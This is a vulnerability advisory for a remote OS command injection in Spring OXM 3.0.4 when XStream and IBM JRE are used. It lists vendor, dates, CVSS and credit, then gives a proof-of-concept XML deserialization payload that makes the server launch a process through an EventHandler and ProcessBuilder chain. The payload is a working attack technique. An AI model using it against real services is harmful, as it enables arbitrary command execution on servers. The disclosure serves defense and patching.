Reference: http://static.springsource.org/spring/docs/3.0.x/spring-framework-reference/html/oxm.html#d0e26722 Product: Spring Source OXM (Object/XML Mapping) Vendor: VMware Vulnerable Version: 3.0.4 only when XStream and IBM JRE are used Status: Fixed Vendor Notification: 12 October 2010 Vendor Fix: 20 October 2010 Vulnerability Type: Remote OS Command Injection (CAPEC-88) Credit: Pierre Ernst, IBM Canada, Business Analytics CVSS: 7.6 AccessVector: Network AccessComplexity: High Authentication: None Confidentiality Impact: Complete Integrity Impact: Complete Availability Impact: Complete Details: Consider a service accepting XML input to be unmarshalled as an instance of the Bicycle class. This is an example of legitimate input: <bicycle> <name>unicycle</name> <id>123</id> <nbrWheels>1</nbrWheels> <nbrRiders>1</nbrRiders> </bicycle> This malicious input will execute the notepad application on the server and open the C:\Windows\win.ini file <bicycle class="java.util.TreeSet"> <no-comparator /> <object /> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>notepad.exe</string> <string>c:\windows\win.ini</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </bicycle>